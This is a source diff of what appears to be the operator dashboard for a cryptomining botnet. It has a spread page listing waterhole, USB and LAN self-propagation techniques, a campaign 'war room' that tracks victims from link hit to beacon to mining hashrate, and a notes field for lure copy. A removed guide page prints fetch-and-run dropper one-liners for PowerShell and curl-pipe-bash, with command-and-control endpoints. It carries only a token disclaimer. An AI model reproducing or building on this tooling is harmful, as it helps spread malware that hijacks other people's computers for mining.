@@ -37,30 +57,41 @@ export default function EmberwakePage() {
|
||||
const [pinB, setPinB] = useState('');
|
||||
const [notes, setNotes] = useState('');
|
||||
const [notesMeta, setNotesMeta] = useState('');
|
||||
const [campaigns, setCampaigns] = useState<CampaignHitSummary[]>([]);
|
||||
const [warRoom, setWarRoom] = useState<WarRoomResponse | null>(null);
|
||||
const [warRoomUpdated, setWarRoomUpdated] = useState('');
|
||||
const [warRoomView, setWarRoomView] = useState<'funnel' | 'table' | 'constellations'>('funnel');
|
||||
const [highlightedCampaign, setHighlightedCampaign] = useState<string | null>(null);
|
||||
const [exportBusy, setExportBusy] = useState(false);
|
||||
const [siteName, setSiteName] = useState('my-blog');
|
||||
const [notesBusy, setNotesBusy] = useState(false);
|
||||
const typingTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
|
||||
const typingActiveRef = useRef(false);
|
||||
|
||||
const pinned = useMemo(() => builds.filter((b) => b.pinned), [builds]);
|
||||
const query = useMemo(() => combinedDropperQuery(pinA || pinned[0]?.id || '', campaign), [pinA, pinned, campaign]);
|
||||
const queryB = useMemo(() => combinedDropperQuery(pinB, campaign + '-b'), [pinB, campaign]);
|
||||
|
||||
const loadWarRoom = useCallback(async () => {
|
||||
const data = await api.getWarRoom(WAR_ROOM_DAYS);
|
||||
setWarRoom(data);
|
||||
setWarRoomUpdated(data.generated_at);
|
||||
}, []);
|
||||
|
||||
const load = useCallback(async () => {
|
||||
const [b, info, cfg, pub, camp, n] = await Promise.all([
|
||||
const [b, info, cfg, pub, n] = await Promise.all([
|
||||
api.listBuilds(),
|
||||
api.getServerInfo(),
|
||||
api.getConfig(),
|
||||
api.listPublicBuilds(),
|
||||
api.listCampaignHits(),
|
||||
api.getEmberwakeNotes(),
|
||||
]);
|
||||
setBuilds(b);
|
||||
const pubUrl = cfg.server?.public_url?.trim();
|
||||
setServerBase((pubUrl || info.suggested_url || window.location.origin).replace(/\/$/, ''));
|
||||
setPublicBuilds(pub.builds);
|
||||
setCampaigns(camp.campaigns);
|
||||
setNotes(n.content);
|
||||
setNotesMeta(n.updated_by ? `${n.updated_by} · ${n.updated_at}` : '');
|
||||
void loadWarRoom().catch(() => {});
|
||||
if (!pinA) {
|
||||
const p = b.find((x) => x.pinned);
|
||||
if (p) setPinA(p.id);
|
||||
@@ -69,22 +100,83 @@ export default function EmberwakePage() {
|
||||
const alt = b.find((x) => !x.pinned) ?? b[1];
|
||||
if (alt) setPinB(alt.id);
|
||||
}
|
||||
}, [pinA, pinB]);
|
||||
}, [pinA, pinB, loadWarRoom]);
|
||||
|
||||
useEffect(() => {
|
||||
void load().catch(() => {});
|
||||
}, [load]);
|
||||
|
||||
useEffect(() => {
|
||||
if (latestMessage?.type !== 'emberwake_notes_updated') return;
|
||||
const p = latestMessage.payload as EmberwakeNotes;
|
||||
if (p && typeof p.content === 'string') {
|
||||
setNotes(p.content);
|
||||
setNotesMeta(p.updated_by ? `${p.updated_by} · ${p.updated_at}` : '');
|
||||
const id = window.setInterval(() => {
|
||||
void loadWarRoom().catch(() => {});
|
||||
}, WAR_ROOM_POLL_MS);
|
||||
return () => window.clearInterval(id);
|
||||
}, [loadWarRoom]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!latestMessage) return;
|
||||
if (latestMessage.type === 'emberwake_notes_updated') {
|
||||
const p = latestMessage.payload as EmberwakeNotes;
|
||||
if (p && typeof p.content === 'string') {
|
||||
setNotes(p.content);
|
||||
setNotesMeta(p.updated_by ? `${p.updated_by} · ${p.updated_at}` : '');
|
||||
}
|
||||
return;
|
||||
}
|
||||
if (latestMessage.type === 'emberwake_war_room') {
|
||||
const p = latestMessage.payload as WarRoomResponse;
|
||||
if (p && Array.isArray(p.campaigns)) {
|
||||
setWarRoom(p);
|
||||
setWarRoomUpdated(p.generated_at || new Date().toISOString());
|
||||
}
|
||||
}
|
||||
}, [latestMessage]);
|
||||
|
||||
const stopNotesTyping = useCallback(() => {
|
||||
if (typingTimerRef.current) {
|
||||
clearTimeout(typingTimerRef.current);
|
||||
typingTimerRef.current = null;
|
||||
}
|
||||
if (typingActiveRef.current) {
|
||||
typingActiveRef.current = false;
|
||||
sendNotesTyping(false);
|
||||
}
|
||||
}, [sendNotesTyping]);
|
||||
|
||||
const handleNotesChange = (value: string) => {
|
||||
setNotes(value);
|
||||
if (typingTimerRef.current) clearTimeout(typingTimerRef.current);
|
||||
typingTimerRef.current = setTimeout(() => {
|
||||
if (!typingActiveRef.current) {
|
||||
typingActiveRef.current = true;
|
||||
sendNotesTyping(true);
|
||||
}
|
||||
typingTimerRef.current = setTimeout(() => stopNotesTyping(), NOTES_TYPING_IDLE_MS);
|
||||
}, NOTES_TYPING_DEBOUNCE_MS);
|
||||
};
|
||||
|
||||
useEffect(() => () => stopNotesTyping(), [stopNotesTyping]);
|
||||
|
||||
const handleConstellationSelect = useCallback((slug: string) => {
|
||||
setHighlightedCampaign(slug);
|
||||
setWarRoomView('funnel');
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
if (warRoomView !== 'funnel' || !highlightedCampaign) return;
|
||||
const t = window.setTimeout(() => {
|
||||
const el = document.getElementById(`war-room-campaign-${highlightedCampaign}`);
|
||||
el?.scrollIntoView({ behavior: 'smooth', block: 'nearest' });
|
||||
}, 80);
|
||||
const clear = window.setTimeout(() => setHighlightedCampaign(null), 3200);
|
||||
return () => {
|
||||
window.clearTimeout(t);
|
||||
window.clearTimeout(clear);
|
||||
};
|
||||
}, [warRoomView, highlightedCampaign]);
|
||||
|
||||
const saveNotes = async () => {
|
||||
stopNotesTyping();
|
||||
setNotesBusy(true);
|
||||
try {
|
||||
const n = await api.putEmberwakeNotes(notes);
|
||||
@@ -108,7 +200,7 @@ export default function EmberwakePage() {
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="page emberwake-page">
|
||||
<div className="page emberwake-page operator-deck-page">
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">SPREAD · WATERHOLE · KINDLING</p>
|
||||
@@ -119,18 +211,32 @@ export default function EmberwakePage() {
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<div className="spread-section spread-section--ember">
|
||||
<AlsoHere page="/emberwake" />
|
||||
|
||||
<div className="spread-section spread-section--ember operator-deck-card operator-interactive">
|
||||
<h3>How to spread</h3>
|
||||
<ul className="form-hint" style={{ margin: 0, paddingLeft: '1.2rem' }}>
|
||||
<li><strong>Web waterhole</strong> — export spread kit ZIP, upload to S3 / Cloudflare Pages / owned CMS.</li>
|
||||
<li><strong>curl | bash VPS</strong> — paste one-liners below on a headless server session.</li>
|
||||
<li><strong>Fusion media</strong> — forge Desktop Fusion profile, seed USB or shared folders.</li>
|
||||
<li><strong>LAN kindling</strong> — universal spread kit + autospread; deploy.bat on reachable hosts.</li>
|
||||
<li><strong>A/B droppers</strong> — pin build A vs B; rotate campaign links between waves.</li>
|
||||
<p className="form-hint" style={{ marginTop: 0 }}>
|
||||
Operator instructions (no login):{' '}
|
||||
<a href="/spread/">Spread kit landing</a>
|
||||
{' · '}
|
||||
Full threat-intel matrix:{' '}
|
||||
<a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
|
||||
SPREAD_TECHNIQUES.md
|
||||
</a>
|
||||
</p>
|
||||
<ul className="emberwake-technique-list">
|
||||
{EMBERWAKE_TECHNIQUE_LINKS.map((t) => (
|
||||
<li key={t.label}>
|
||||
<strong>{t.label}</strong> — {t.hint}{' '}
|
||||
<a href={spreadTechniqueDocUrl(t.anchor)} target="_blank" rel="noreferrer">
|
||||
playbook §
|
||||
</a>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div className="card" style={{ marginBottom: '1rem' }}>
|
||||
<div className="card operator-deck-card operator-interactive" style={{ marginBottom: '1rem' }}>
|
||||
<h2>Campaign builder</h2>
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="ew-campaign">Campaign slug (?c=)</label>
|
||||
@@ -177,9 +283,13 @@ export default function EmberwakePage() {
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="spread-section spread-section--cyan">
|
||||
<div className="spread-section spread-section--cyan operator-deck-card operator-interactive">
|
||||
<h3>Spread kit export</h3>
|
||||
<p className="form-hint">Zips customized <code>spread-kit-web-publisher/</code> templates for your server URL + campaign.</p>
|
||||
<p className="form-hint">
|
||||
Zips customized <code>spread-kit-web-publisher/</code> templates for your server URL + campaign.
|
||||
{' '}
|
||||
<a href="/spread/">View on-server instructions</a> at <code>/spread/</code> (synced from repo templates).
|
||||
</p>
|
||||
<div className="emberwake-ab-row">
|
||||
<input className="input mono" style={{ flex: 1 }} value={serverBase} onChange={(e) => setServerBase(e.target.value)} />
|
||||
<button type="button" className="btn btn-primary" disabled={exportBusy || !serverBase} onClick={() => void exportKit()}>
|
||||
@@ -188,7 +298,19 @@ export default function EmberwakePage() {
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="spread-section spread-section--gold">
|
||||
<SupplyChainExportWizard
|
||||
builds={builds}
|
||||
serverBase={serverBase}
|
||||
onServerBaseChange={setServerBase}
|
||||
pinA={pinA}
|
||||
onPinAChange={setPinA}
|
||||
campaign={campaign}
|
||||
onCampaignChange={setCampaign}
|
||||
siteName={siteName}
|
||||
onSiteNameChange={setSiteName}
|
||||
/>
|
||||
|
||||
<div className="spread-section spread-section--gold operator-deck-card operator-interactive">
|
||||
<h3>Public build URLs</h3>
|
||||
<p className="form-hint">Authenticated deck sees all builds; login page lists pinned + public + latest 3 (or all if Calibrate → public builds enabled).</p>
|
||||
<ul style={{ margin: 0, padding: 0, listStyle: 'none' }}>
|
||||
@@ -205,28 +327,194 @@ export default function EmberwakePage() {
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
{campaigns.length > 0 && (
|
||||
<div className="spread-section spread-section--violet">
|
||||
<h3>Campaign hits</h3>
|
||||
<ul className="emberwake-campaign-list">
|
||||
{campaigns.map((c) => (
|
||||
<li key={c.campaign}>
|
||||
<span><code>{c.campaign}</code></span>
|
||||
<span>{c.count} hits · {c.last_hit ? new Date(c.last_hit).toLocaleString() : '—'}</span>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
<div
|
||||
id="campaign-war-room"
|
||||
className="spread-section spread-section--war-room operator-deck-card operator-interactive"
|
||||
>
|
||||
<h3>Campaign War Room</h3>
|
||||
<div className="war-room-toolbar">
|
||||
<span>
|
||||
Live funnel — hits → downloads → first beacon → mining → hashrate per <code>?c=</code> slug (last {WAR_ROOM_DAYS}d)
|
||||
</span>
|
||||
<div className="war-room-toolbar-right">
|
||||
<div className="war-room-view-toggle" role="group" aria-label="War room view">
|
||||
<button
|
||||
type="button"
|
||||
className={`btn btn-sm ${warRoomView === 'funnel' ? 'btn-primary' : 'btn-outline'}`}
|
||||
onClick={() => setWarRoomView('funnel')}
|
||||
>
|
||||
Funnel board
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className={`btn btn-sm ${warRoomView === 'table' ? 'btn-primary' : 'btn-outline'}`}
|
||||
onClick={() => setWarRoomView('table')}
|
||||
>
|
||||
Stats table
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className={`btn btn-sm ${warRoomView === 'constellations' ? 'btn-primary' : 'btn-outline'}`}
|
||||
onClick={() => setWarRoomView('constellations')}
|
||||
>
|
||||
Constellations
|
||||
</button>
|
||||
</div>
|
||||
<span>
|
||||
{warRoomUpdated ? `Updated ${new Date(warRoomUpdated).toLocaleTimeString()}` : 'Loading…'}
|
||||
{' · '}poll {WAR_ROOM_POLL_MS / 1000}s · WS 30s
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
{warRoom && warRoom.campaigns.length > 0 ? (
|
||||
warRoomView === 'constellations' ? (
|
||||
<CampaignConstellations
|
||||
campaigns={warRoom.campaigns}
|
||||
onSelectCampaign={handleConstellationSelect}
|
||||
/>
|
||||
) : warRoomView === 'funnel' ? (
|
||||
<WarRoomFunnelBoard
|
||||
campaigns={warRoom.campaigns}
|
||||
days={warRoom.days || WAR_ROOM_DAYS}
|
||||
refreshKey={warRoomUpdated}
|
||||
highlightCampaign={highlightedCampaign}
|
||||
/>
|
||||
) : (
|
||||
<div className="war-room-table-wrap">
|
||||
<table className="war-room-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Campaign</th>
|
||||
<th>Hits</th>
|
||||
<th>Downloads</th>
|
||||
<th>Beacon</th>
|
||||
<th>Mining</th>
|
||||
<th>Agents</th>
|
||||
<th>Online</th>
|
||||
<th>Hashrate</th>
|
||||
<th>Conv %</th>
|
||||
<th>7d trend</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{warRoom.campaigns.map((c, rowIndex) => {
|
||||
const max = sparklineMax(c.daily_hits);
|
||||
const beacon = c.first_beacon ?? c.agents;
|
||||
const mining = c.mining ?? (c.hashrate > 0 ? 1 : 0);
|
||||
return (
|
||||
<tr key={c.campaign}>
|
||||
<td>
|
||||
<code>{c.campaign}</code>
|
||||
{c.last_activity ? (
|
||||
<span className="form-hint" style={{ display: 'block', marginTop: '0.15rem' }}>
|
||||
{new Date(c.last_activity).toLocaleDateString()}
|
||||
</span>
|
||||
) : null}
|
||||
</td>
|
||||
<td>
|
||||
<WarRoomOdometer
|
||||
value={c.hits}
|
||||
staggerMs={staggerDelayMs(rowIndex, 0)}
|
||||
showDelta
|
||||
/>
|
||||
</td>
|
||||
<td>
|
||||
<WarRoomOdometer
|
||||
value={c.downloads}
|
||||
staggerMs={staggerDelayMs(rowIndex, 1)}
|
||||
showDelta
|
||||
/>
|
||||
</td>
|
||||
<td>
|
||||
<WarRoomOdometer
|
||||
value={beacon}
|
||||
staggerMs={staggerDelayMs(rowIndex, 2)}
|
||||
showDelta
|
||||
/>
|
||||
</td>
|
||||
<td>
|
||||
<WarRoomOdometer
|
||||
value={mining}
|
||||
staggerMs={staggerDelayMs(rowIndex, 3)}
|
||||
showDelta
|
||||
/>
|
||||
</td>
|
||||
<td>
|
||||
<WarRoomOdometer
|
||||
value={c.agents}
|
||||
staggerMs={staggerDelayMs(rowIndex, 4)}
|
||||
/>
|
||||
</td>
|
||||
<td className="war-room-online">
|
||||
<WarRoomOdometer
|
||||
value={c.online}
|
||||
staggerMs={staggerDelayMs(rowIndex, 5)}
|
||||
/>
|
||||
</td>
|
||||
<td>
|
||||
<WarRoomOdometer
|
||||
value={c.hashrate}
|
||||
format={(n) => formatHashrate(n)}
|
||||
staggerMs={staggerDelayMs(rowIndex, 6)}
|
||||
showDelta
|
||||
/>
|
||||
</td>
|
||||
<td className="war-room-conv">
|
||||
<WarRoomOdometer
|
||||
value={c.conversion_pct}
|
||||
format={(n) => n.toFixed(1)}
|
||||
suffix="%"
|
||||
staggerMs={staggerDelayMs(rowIndex, 7)}
|
||||
showDelta
|
||||
/>
|
||||
</td>
|
||||
<td>
|
||||
<div className="war-room-sparkline" title={c.daily_hits.join(', ')}>
|
||||
{c.daily_hits.map((v, i) => (
|
||||
<span
|
||||
key={i}
|
||||
style={{ height: `${sparklineBarHeight(v, max)}%` }}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
</td>
|
||||
</tr>
|
||||
);
|
||||
})}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
)
|
||||
) : (
|
||||
<p className="war-room-empty">
|
||||
No campaign activity in the last {WAR_ROOM_DAYS} days. Share dropper links with <code>?c=your-slug</code> to populate the funnel.
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="card">
|
||||
<div className="card operator-deck-card operator-interactive">
|
||||
<h2>Shared notes</h2>
|
||||
<p className="form-hint">Synced live to every logged-in operator{notesMeta ? ` — last edit: ${notesMeta}` : ''}.</p>
|
||||
{notesTyping?.active && (
|
||||
<div className="emberwake-typing-banner" role="status">
|
||||
<ComradeAvatar user={notesTyping.user} size="sm" title={`${notesTyping.user} is editing notes`} />
|
||||
<span className="emberwake-typing-body">
|
||||
<strong>{notesTyping.user}</strong> is editing notes
|
||||
<span className="typing-dots" aria-hidden>
|
||||
<span />
|
||||
<span />
|
||||
<span />
|
||||
</span>
|
||||
<span className="emberwake-typing-cursor" aria-hidden />
|
||||
</span>
|
||||
</div>
|
||||
)}
|
||||
<textarea
|
||||
className="input emberwake-notes"
|
||||
rows={6}
|
||||
value={notes}
|
||||
onChange={(e) => setNotes(e.target.value)}
|
||||
onChange={(e) => handleNotesChange(e.target.value)}
|
||||
onBlur={() => stopNotesTyping()}
|
||||
placeholder="Paste lure copy, host paths, rotation schedule…"
|
||||
/>
|
||||
<button type="button" className="btn btn-primary" style={{ marginTop: '0.5rem' }} disabled={notesBusy} onClick={() => void saveNotes()}>
|
||||
|
||||
@@ -1,24 +0,0 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, describe, expect, it } from 'vitest';
|
||||
import { cleanup, render, screen } from '@testing-library/react';
|
||||
import { MemoryRouter } from 'react-router-dom';
|
||||
import GuidePage from './GuidePage';
|
||||
import { routerFuture } from '../routerFuture';
|
||||
|
||||
describe('GuidePage', () => {
|
||||
afterEach(() => cleanup());
|
||||
|
||||
it('renders field guide hero and pipeline section', () => {
|
||||
render(
|
||||
<MemoryRouter future={routerFuture}>
|
||||
<GuidePage />
|
||||
</MemoryRouter>
|
||||
);
|
||||
expect(screen.getByText('OPERATIONS MANUAL')).toBeTruthy();
|
||||
expect(screen.getByRole('heading', { name: /Field Guide/i })).toBeTruthy();
|
||||
expect(screen.getByRole('heading', { name: /Live pipeline/i })).toBeTruthy();
|
||||
expect(screen.getByRole('heading', { name: /Forge vs Calibrate/i })).toBeTruthy();
|
||||
});
|
||||
});
|
||||
@@ -1,230 +0,0 @@
|
||||
import { Link } from 'react-router-dom';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import {
|
||||
CHEAT_SECTIONS,
|
||||
PIPELINE_STEPS,
|
||||
TROUBLESHOOTING,
|
||||
type CheatStep,
|
||||
} from '../help/cheatSheetContent';
|
||||
import {
|
||||
ForgeCalibrateCompare,
|
||||
PipelineFlow,
|
||||
RoadmapGrid,
|
||||
} from '../components/Visual/VisualComponents';
|
||||
import './Pages.css';
|
||||
|
||||
/** Inline code block with copy button */
|
||||
function CodeBlock({ code }: { code: string }) {
|
||||
const copy = () => navigator.clipboard?.writeText(code);
|
||||
return (
|
||||
<div className="guide-code-block">
|
||||
<pre className="guide-code-pre">{code}</pre>
|
||||
<button type="button" className="guide-code-copy" onClick={copy} title="Copy to clipboard">
|
||||
Copy
|
||||
</button>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
/** A single step card — shows body, tips, optional code example, optional nav button */
|
||||
function StepCard({ step }: { step: CheatStep }) {
|
||||
return (
|
||||
<div className="guide-step-card">
|
||||
<div className="guide-step-num">{step.icon}</div>
|
||||
<div className="guide-step-body">
|
||||
<h4>{step.title} <span className="guide-step-sub">— {step.subtitle}</span></h4>
|
||||
<p>{step.body}</p>
|
||||
{step.tips && (
|
||||
<ul className="guide-tips">
|
||||
{step.tips.map((t) => <li key={t}>{t}</li>)}
|
||||
</ul>
|
||||
)}
|
||||
{step.code && <CodeBlock code={step.code} />}
|
||||
</div>
|
||||
{step.route && (
|
||||
<Link to={step.route} className="btn btn-outline btn-sm guide-step-btn">
|
||||
{step.routeLabel || 'Open'}
|
||||
</Link>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
/** ASCII topology diagram — home LAN control deck */
|
||||
function TopologyDiagram() {
|
||||
const lines = [
|
||||
' ┌──────────────────────────────────────────────────────────────────────┐',
|
||||
' │ Control PC (USB portable or dev install) │',
|
||||
' │ │',
|
||||
' │ ┌──────────────────────────────────────────────────────────────┐ │',
|
||||
' │ │ LAUNCH.bat → AetherForge.exe on 0.0.0.0:8989 │ │',
|
||||
' │ │ Dashboard: http://localhost:8989 │ │',
|
||||
' │ │ Calibrate: set LAN public URL + wallet + TLS pool presets │ │',
|
||||
' │ └────────────────────────┬─────────────────────────────────────┘ │',
|
||||
' └────────────────────────────│─────────────────────────────────────────┘',
|
||||
' │ LAN http://192.168.x.x:8989',
|
||||
' ┌────────────────┼────────────────┐',
|
||||
' ▼ ▼ ▼',
|
||||
' [Worker PC] [Worker PC] [Worker PC]',
|
||||
' forged agent forged agent forged agent',
|
||||
' phones home phones home phones home',
|
||||
];
|
||||
return (
|
||||
<div className="guide-topology">
|
||||
<pre className="guide-topology-pre">{lines.join('\n')}</pre>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default function GuidePage() {
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">OPERATIONS MANUAL</p>
|
||||
<h1>Field Guide</h1>
|
||||
<p className="page-subtitle">
|
||||
Everything you need — pipeline, network topology, one-liner commands, Fusion, AI Autonomy, and fixes for when things break.
|
||||
</p>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
{/* ── Live pipeline ── */}
|
||||
<NeonCard accent="cyan" className="section" hud>
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Live pipeline
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<PipelineFlow />
|
||||
</NeonCard>
|
||||
|
||||
{/* ── Network topology ── */}
|
||||
<NeonCard accent="amber" className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Network topology
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
|
||||
AetherForge binds to <code className="mono-sm">0.0.0.0:8989</code>. You operate the dashboard at{' '}
|
||||
<code className="mono-sm">http://localhost:8989</code> on the control PC; workers on your LAN use the
|
||||
detected LAN URL baked at Forge time. Optional external tunneling can run on a separate machine later.
|
||||
</p>
|
||||
<TopologyDiagram />
|
||||
<div className="guide-step-card" style={{ marginTop: '1rem' }}>
|
||||
<div className="guide-step-num">💡</div>
|
||||
<div className="guide-step-body">
|
||||
<h4>Home LAN setup</h4>
|
||||
<ul className="guide-tips">
|
||||
<li>Run <code className="mono-sm">LAUNCH.bat</code> (USB) or <code className="mono-sm">devrun.bat</code> (dev)</li>
|
||||
<li>
|
||||
<Link to="/settings" className="guide-link">Calibrate</Link> → Use detected LAN → Use best defaults → Save
|
||||
</li>
|
||||
<li>Forge Control Endpoint: <code className="mono-sm">http://192.168.x.x:8989</code> (your LAN IP)</li>
|
||||
<li>Backup C2 URLs auto-fill from other LAN IPs on the control host</li>
|
||||
<li>First login: LAUNCH window or <code className="mono-sm">data\login-credentials.json</code></li>
|
||||
<li>Optional: external tunnel on another machine can forward to this PC on port 8989</li>
|
||||
</ul>
|
||||
<CodeBlock code={`# Typical flow:
|
||||
LAUNCH.bat
|
||||
# Browser: http://localhost:8989
|
||||
# Calibrate public URL: http://192.168.1.50:8989
|
||||
# Forge control endpoint: same LAN URL`} />
|
||||
</div>
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
{/* ── Forge vs Calibrate ── */}
|
||||
<section className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Forge vs Calibrate — what goes where
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<ForgeCalibrateCompare />
|
||||
</section>
|
||||
|
||||
{/* ── Dropper one-liners quick-ref ── */}
|
||||
<NeonCard accent="green" className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Dropper one-liners
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
|
||||
Pin a build in <Link to="/builds" className="guide-link">Build Manager</Link> first — replace the host with your
|
||||
Calibrate LAN URL (or your optional external tunnel URL). Terminal closes automatically after the agent launches.
|
||||
</p>
|
||||
<div className="guide-dropper-grid">
|
||||
<div className="guide-dropper-item">
|
||||
<span className="guide-dropper-os">Windows</span>
|
||||
<CodeBlock code={`iex (irm 'http://192.168.1.50:8989/install.ps1')`} />
|
||||
</div>
|
||||
<div className="guide-dropper-item">
|
||||
<span className="guide-dropper-os">Linux / macOS</span>
|
||||
<CodeBlock code={`curl -sL http://192.168.1.50:8989/install.sh | bash`} />
|
||||
</div>
|
||||
<div className="guide-dropper-item">
|
||||
<span className="guide-dropper-os">Direct binary</span>
|
||||
<CodeBlock code={`http://192.168.1.50:8989/get?os=windows
|
||||
http://192.168.1.50:8989/get?os=linux
|
||||
http://192.168.1.50:8989/get`} />
|
||||
</div>
|
||||
</div>
|
||||
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
|
||||
Dropper endpoints are unauthenticated — the URL is the gate. Dashboard requires login. Workers must be on a network that can reach your LAN control URL.
|
||||
</p>
|
||||
</NeonCard>
|
||||
|
||||
{/* ── Detailed section steps ── */}
|
||||
{CHEAT_SECTIONS.filter((s) => s.steps && s.id !== 'pipeline').map((section) => (
|
||||
<section key={section.id} className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> {section.title}
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>{section.description}</p>
|
||||
{section.steps?.map((step) => <StepCard key={step.id} step={step} />)}
|
||||
</section>
|
||||
))}
|
||||
|
||||
{/* ── Step-by-step pipeline detail ── */}
|
||||
<section className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Step-by-step (pipeline detail)
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
{PIPELINE_STEPS.map((step) => <StepCard key={step.id} step={step} />)}
|
||||
</section>
|
||||
|
||||
{/* ── Troubleshooting ── */}
|
||||
<section className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Troubleshooting
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<NeonCard accent="amber">
|
||||
{TROUBLESHOOTING.map((t) => (
|
||||
<div key={t.problem} className="trouble-card">
|
||||
<strong>{t.problem}</strong>
|
||||
<span>{t.fix}</span>
|
||||
</div>
|
||||
))}
|
||||
</NeonCard>
|
||||
</section>
|
||||
|
||||
{/* ── Roadmap ── */}
|
||||
<section className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Feature status
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<p className="form-hint" style={{ marginBottom: '1rem' }}>
|
||||
Shipped (high), in progress (medium), and planned (low) capabilities.
|
||||
</p>
|
||||
<RoadmapGrid />
|
||||
</section>
|
||||
|
||||
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||||
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||||
</footer>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
502
server/web/src/pages/MissionDeckPage.css
Normal file
502
server/web/src/pages/MissionDeckPage.css
Normal file
@@ -0,0 +1,502 @@
|
||||
/* Mission Deck — video-game loadout screen (/mission-deck) */
|
||||
|
||||
|
||||
|
||||
.mission-deck {
|
||||
|
||||
--deck-accent: #ff8c3a;
|
||||
|
||||
--deck-accent-dim: rgba(255, 140, 58, 0.35);
|
||||
|
||||
--deck-glow: rgba(255, 140, 58, 0.55);
|
||||
|
||||
--loadout-grid-gap: 1.25rem;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.mission-deck .deck-hero::after {
|
||||
|
||||
background: linear-gradient(90deg, var(--deck-accent), transparent);
|
||||
|
||||
box-shadow: 0 0 14px var(--deck-glow);
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.mission-deck .deck-eyebrow {
|
||||
|
||||
color: var(--deck-accent);
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.mission-deck-ops-dock {
|
||||
|
||||
display: flex;
|
||||
|
||||
flex-wrap: wrap;
|
||||
|
||||
gap: 0.5rem;
|
||||
|
||||
align-items: center;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
/* ── Three-column loadout grid ── */
|
||||
|
||||
|
||||
|
||||
.mission-loadout {
|
||||
|
||||
display: grid;
|
||||
|
||||
grid-template-columns: minmax(200px, 240px) minmax(280px, 1fr) minmax(260px, 320px);
|
||||
|
||||
gap: var(--loadout-grid-gap);
|
||||
|
||||
align-items: start;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
@media (max-width: 1100px) {
|
||||
|
||||
.mission-loadout {
|
||||
|
||||
grid-template-columns: 1fr 1fr;
|
||||
|
||||
grid-template-areas:
|
||||
|
||||
'modes kit'
|
||||
|
||||
'preview preview';
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.mission-loadout-modes { grid-area: modes; }
|
||||
|
||||
.mission-loadout-preview { grid-area: preview; }
|
||||
|
||||
.mission-loadout-kit { grid-area: kit; }
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
@media (max-width: 680px) {
|
||||
|
||||
.mission-loadout {
|
||||
|
||||
grid-template-columns: 1fr;
|
||||
|
||||
grid-template-areas:
|
||||
|
||||
'modes'
|
||||
|
||||
'preview'
|
||||
|
||||
'kit';
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.mission-loadout-col {
|
||||
|
||||
display: flex;
|
||||
|
||||
flex-direction: column;
|
||||
|
||||
gap: 0.85rem;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-col-label {
|
||||
|
||||
margin: 0;
|
||||
|
||||
